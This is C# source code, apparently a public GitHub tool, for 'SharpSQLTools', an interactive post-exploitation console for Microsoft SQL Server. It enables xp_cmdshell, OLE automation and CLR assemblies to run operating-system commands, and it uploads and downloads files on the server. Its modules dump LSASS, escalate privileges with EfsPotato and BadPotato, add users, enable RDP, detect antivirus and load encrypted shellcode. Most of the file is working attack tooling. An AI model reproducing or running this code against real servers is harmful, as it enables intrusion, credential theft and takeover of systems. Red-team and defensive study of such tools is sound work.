using System; using System.Collections; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.IO; using System.Linq; using System.Threading; namespace SharpSQLTools { class Program { static SqlConnection Conn; static Setting setting; static String sqlstr; private static void Help() { Console.WriteLine(@" enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_oacreate {cmd} - executes cmd using sp_oacreate enable_ole - you know what it means disable_ole - you know what it means upload {local} {remote} - upload a local file to a remote path (OLE required) download {remote} {local} - download a remote file to a local path enable_clr - you know what it means disable_clr - you know what it means install_clr - create assembly and procedure uninstall_clr - drop clr clr_pwd - print current directory by clr clr_ls {directory} - list files by clr clr_cd {directory} - change directory by clr clr_ps - list process by clr clr_netstat - netstat by clr clr_ping {host} - ping by clr clr_cat {file} - view file contents by clr clr_rm {file} - delete file by clr clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami clr_efspotato {cmd} - exec by EfsPotato like clr_exec clr_badpotato {cmd} - exec by BadPotato like clr_exec clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files clr_dumplsass {path} - dumplsass by clr clr_rdp - check RDP port and Enable RDP clr_getav - get anti-virus software on this machin by clr clr_adduser {user} {pass} - add user by clr clr_download {url} {path} - download file from url by clr clr_scloader {code} {key} - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin) clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader exit - terminates the server process (and this session)" ); } private static void logo() { Console.WriteLine(@" _____ _ _____ ____ _ _______ _ / ____| | / ____|/ __ \| | |__ __| | | | (___ | |__ __ _ _ __ _ __| (___ | | | | | | | ___ ___ | |___ \___ \| '_ \ / _` | '__| '_ \\___ \| | | | | | |/ _ \ / _ \| / __| ____) | | | | (_| | | | |_) |___) | |__| | |____| | (_) | (_) | \__ \ |_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/ | | |_| by Rcoil & Uknow "); } /// /// xp_cmdshell 执行命令 /// /// 命令 static void xp_shell(String Command) { if (setting.Check_configuration("xp_cmdshell", 0) && !setting.Enable_xp_cmdshell()) { return; } sqlstr = String.Format("exec master..xp_cmdshell '{0}'", Command); Console.WriteLine(Batch.RemoteExec(Conn, sqlstr, true)); } /// /// 获取当前时间戳 /// public static string GetTimeStamp() { TimeSpan ts = DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0); return Convert.ToInt64(ts.TotalMilliseconds).ToString(); } /// /// sp_oacreate 执行命令 /// /// 命令 static void sp_shell(String Command) { if (setting.Check_configuration("Ole Automation Procedures", 0) && !setting.Enable_ola()) { return; } string sqlstr = String.Format(@" declare @shell int,@exec int,@text int,@str varchar(8000); exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c {0}' exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'ReadAll', @str out select @str", Command); Console.WriteLine(Batch.RemoteExec(Conn, sqlstr, true)); } /// /// clr_exec 执行命令 /// /// 命令 static void clr_exec(String Command) { sqlstr = String.Format("exec dbo.ClrExec '{0}'", Command); Batch.CLRExec(Conn, sqlstr); } static byte[] ReadFileToByte(string filePath) { byte[] result; try { using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) { byte[] array = new byte[fileStream.Length]; fileStream.Read(array, 0, array.Length); result = array; } } catch { result = null; } return result; } static private List SplitFileSize(int fileSize, int splitLength) { List list = new List(); if (fileSize > splitLength) { int num = fileSize / splitLength; int num2 = fileSize % splitLength; if (num > 0) { for (int i = 0; i < num; i++) { list.Add(splitLength); } if (num2 != 0) { list.Add(num2); } } } else { list.Add(fileSize); } return list; } /// /// 文件上传,使用 OLE Automation Procedures 的 ADODB.Stream /// /// 本地文件 /// 远程文件 static void UploadFiles(String localFile, String remoteFile) { Console.WriteLine(String.Format("[*] Uploading '{0}' to '{1}'...", localFile, remoteFile)); if (setting.Check_configuration("Ole Automation Procedures", 0) && !setting.Enable_ola()) { return; } byte[] byteArray = ReadFileToByte(localFile); string text = "copy /b "; if (setting.File_Exists(remoteFile, 1)) { Console.WriteLine("[+] {0} Exists", remoteFile); return; } int num = 0; int num2 = 0; int splitLength = 250000; List list = SplitFileSize(byteArray.Length, splitLength); try { foreach (int num3 in list) { string text2 = string.Format("{0}_{1}.config_txt", remoteFile, num); byte[] array = new byte[num3]; Array.Copy(byteArray, num2, array, 0, num3); string hexstr = string.Concat(from b in array select b.ToString("X2")); sqlstr = String.Format(@" DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x{0} EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'{1}', 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken", hexstr, text2); Batch.RemoteExec(Conn, sqlstr, false); num2 += num3; num++; text = text + "\"" + text2 + "\"+"; Thread.Sleep(1000); if (setting.File_Exists(text2, 1)) { Console.WriteLine("[+] {0}_{1}.config_txt Upload completed", remoteFile, num); } else { Console.WriteLine("[!] {0}_{1}.config_txt Error uploading", remoteFile, num); Conn.Close(); Environment.Exit(0); } Thread.Sleep(1000); } text = text.Trim(new char[] { '+' }) + " \"" + remoteFile + "\"'"; string shell = String.Format(@" DECLARE @SHELL INT EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c "); Console.WriteLine(@"[+] copy /b {0}_x.config_txt {0}", remoteFile); Batch.RemoteExec(Conn,shell + text, false); Thread.Sleep(1000); if (setting.File_Exists(remoteFile, 1)) { sqlstr = String.Format(@"del {0}*.config_txt'", remoteFile.Replace(Path.GetFileName(remoteFile), "")); Console.WriteLine("[+] {0}", sqlstr.Replace("'", "")); Batch.RemoteExec(Conn, shell + sqlstr, false); Console.WriteLine("[*] '{0}' Upload completed", localFile); } //setting.Disable_ole(); } catch (Exception ex) { Conn.Close(); Console.WriteLine("[!] Error log: \r\n" + ex.Message); } } /// /// 文件下载,使用 OPENROWSET + BULK。将 memoryStream 直接写入文件 /// /// 远程文件 /// 本地文件 static void DownloadFiles(String localFile, String remoteFile) { Console.WriteLine(String.Format("[*] Downloading '{0}' to '{1}'...", remoteFile, localFile)); if (!setting.File_Exists(remoteFile, 1)) { Console.WriteLine("[!] {0} file does not exist....", remoteFile); return; } sqlstr = String.Format(@"SELECT * FROM OPENROWSET(BULK N'{0}', SINGLE_BLOB) rs", remoteFile); // SINGLE_BLOB 选项将它们读取为二进制文件 SqlCommand sqlComm = new SqlCommand(sqlstr, Conn); //接收查询到的sql数据 using (SqlDataReader reader = sqlComm.ExecuteReader()) { //读取数据 while (reader.Read()) { using (MemoryStream memoryStream = new MemoryStream((byte[])reader[0])) { using (FileStream fileStream = new FileStream(localFile, FileMode.Create, FileAccess.Write)) { byte[] bytes = new byte[memoryStream.Length]; memoryStream.Read(bytes, 0, (int)memoryStream.Length); fileStream.Write(bytes, 0, bytes.Length); } } } } Console.WriteLine("[*] '{0}' Download completed", remoteFile); } public static void OnInfoMessage(object mySender, SqlInfoMessageEventArgs args) { String value = String.Empty; foreach (SqlError err in args.Errors) { value = err.Message; Console.WriteLine(value); } } static void interactive(string[] args) { string target = args[0]; if (target.Contains(":")) { target = target.Replace(":", ","); } string username = args[1]; string password = args[2]; string database = args[3]; try { //sql建立连接 string connectionString = String.Format("Server = \"{0}\";Database = \"{1}\";User ID = \"{2}\";Password = \"{3}\";", target, database, username, password); Conn = new SqlConnection(connectionString); Conn.InfoMessage += new SqlInfoMessageEventHandler(OnInfoMessage); Conn.Open(); Console.WriteLine("[*] Database connection is successful!"); } catch (Exception ex) { Console.WriteLine("[!] Error log: \r\n" + ex.Message); Environment.Exit(0); } setting = new Setting(Conn); try { do { Console.Write("SQL> "); string str = Console.ReadLine(); if (str.ToLower() == "exit") { Conn.Close(); break; } else if (str.ToLower() == "help") { Help(); continue; } string[] cmdline = str.Split(new char[] { ' ' }, 3); switch (cmdline[0].ToLower()) { case "enable_xp_cmdshell": setting.Enable_xp_cmdshell(); break; case "disable_xp_cmdshell": setting.Disable_xp_cmdshell(); break; case "xp_cmdshell": { String s = String.Empty; for (int i = 1; i < cmdline.Length; i++) { s += cmdline[i] + " "; } xp_shell(s); break; } case "sp_oacreate": { String s = String.Empty; for (int i = 1; i < cmdline.Length; i++) { s += cmdline[i] + " "; } sp_shell(s); break; } case "upload": UploadFiles(cmdline[1], cmdline[2]); break; case "download": DownloadFiles(cmdline[2], cmdline[1]); break; case "enable_ole": setting.Enable_ola(); break; case "disable_ole": setting.Disable_ole(); break; case "clr_dumplsass": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_ls": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_cat": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_cd": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_rm": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_ping": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_netstat": clr_exec("clr_netstat"); break; case "clr_rdp": clr_exec("clr_rdp"); break; case "clr_getav": clr_exec("clr_getav"); break; case "clr_ps": clr_exec("clr_ps"); break; case "clr_pwd": clr_exec("clr_pwd"); break; case "clr_adduser": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_exec": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_efspotato": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_badpotato": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_scloader": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_scloader1": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_scloader2": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_download": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "clr_combine": { String s = String.Empty; for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; } clr_exec(s); break; } case "enable_clr": setting.Enable_clr(); break; case "disable_clr": setting.Disable_clr(); break; case "install_clr": { setting.install_clr(); break; } case "uninstall_clr": setting.drop_clr(); break; default: Console.WriteLine(Batch.RemoteExec(Conn, str, true)); break; } if (!ConnectionState.Open.Equals(Conn.State)) { Console.WriteLine("[!] Disconnect...."); break; } } while (true); } catch (Exception ex) { Conn.Close(); Console.WriteLine("[!] Error log: \r\n" + ex.Message); } } static void Noninteractive(string[] args) { if (args.Length < 4) { Help(); return; } string target = args[0]; if (target.Contains(":")) { target = target.Replace(":", ","); } string username = args[1]; string password = args[2]; string database = args[3]; string module = args[4]; try { //sql建立连接 string connectionString = String.Format("Server = \"{0}\";Database = \"{1}\";User ID = \"{2}\";Password = \"{3}\";", target, database, username, password); Conn = new SqlConnection(connectionString); Conn.InfoMessage += new SqlInfoMessageEventHandler(OnInfoMessage); Conn.Open(); Console.WriteLine("[*] Database connection is successful!"); } catch (Exception ex) { Console.WriteLine("[!] Error log: \r\n" + ex.Message); Environment.Exit(0); } setting = new Setting(Conn); try { // string[] cmdline = str.Split(new char[] { ' ' }, 3); switch (module.ToLower()) { case "enable_xp_cmdshell": setting.Enable_xp_cmdshell(); break; case "disable_xp_cmdshell": setting.Disable_xp_cmdshell(); break; case "xp_cmdshell": { String command = String.Empty; if (args.Length > 6) { for (int i = 5; i < args.Length; i++) { command += args[i] + " "; } } else { command = args[5]; } xp_shell(command); break; } case "sp_oacreate": { { String command = String.Empty; if (args.Length > 6) { for (int i = 5; i < args.Length; i++) { command += args[i] + " "; } } else { command = args[5]; } sp_shell(command); break; } } case "upload": UploadFiles(args[5], args[6]); break; case "download": DownloadFiles(args[6], args[5]); break; case "enable_ole": setting.Enable_ola(); break; case "disable_ole": setting.Disable_ole(); break; case "clr_dumplsass": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_ping": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_cat": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_ls": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_cd": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_rm": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_pwd": clr_exec("clr_pwd"); break; case "clr_netstat": clr_exec("clr_netstat"); break; case "clr_ps": clr_exec("clr_ps"); break; case "clr_rdp": clr_exec("clr_rdp"); break; case "clr_getav": clr_exec("clr_getav"); break; case "clr_adduser": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_exec": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_efspotato": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_badpotato": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_scloader": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_scloader1": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_scloader2": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_download": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "clr_combine": { String s = String.Empty; for (int i = 4; i < args.Length; i++) { s += args[i] + " "; } clr_exec(s); break; } case "enable_clr": setting.Enable_clr(); break; case "disable_clr": setting.Disable_clr(); break; case "install_clr": { setting.install_clr(); break; } case "uninstall_clr": setting.drop_clr(); break; default: Console.WriteLine(Batch.RemoteExec(Conn, args[3], true)); break; } if (!ConnectionState.Open.Equals(Conn.State)) { Console.WriteLine("[!] Disconnect...."); } Conn.Close(); } catch (Exception ex) { Conn.Close(); Console.WriteLine("[!] Error log: \r\n" + ex.Message); } } static void Main(string[] args) { if (args.Length == 4) { interactive(args); } else if (args.Length > 4) { Noninteractive(args); } else { logo(); Console.WriteLine("Usage:"); Console.WriteLine(@" SharpSQLTools target:port username password database - interactive console SharpSQLTools target:port username password database module command - non-interactive console"); Console.WriteLine("\nModule:"); Help(); return; } } } }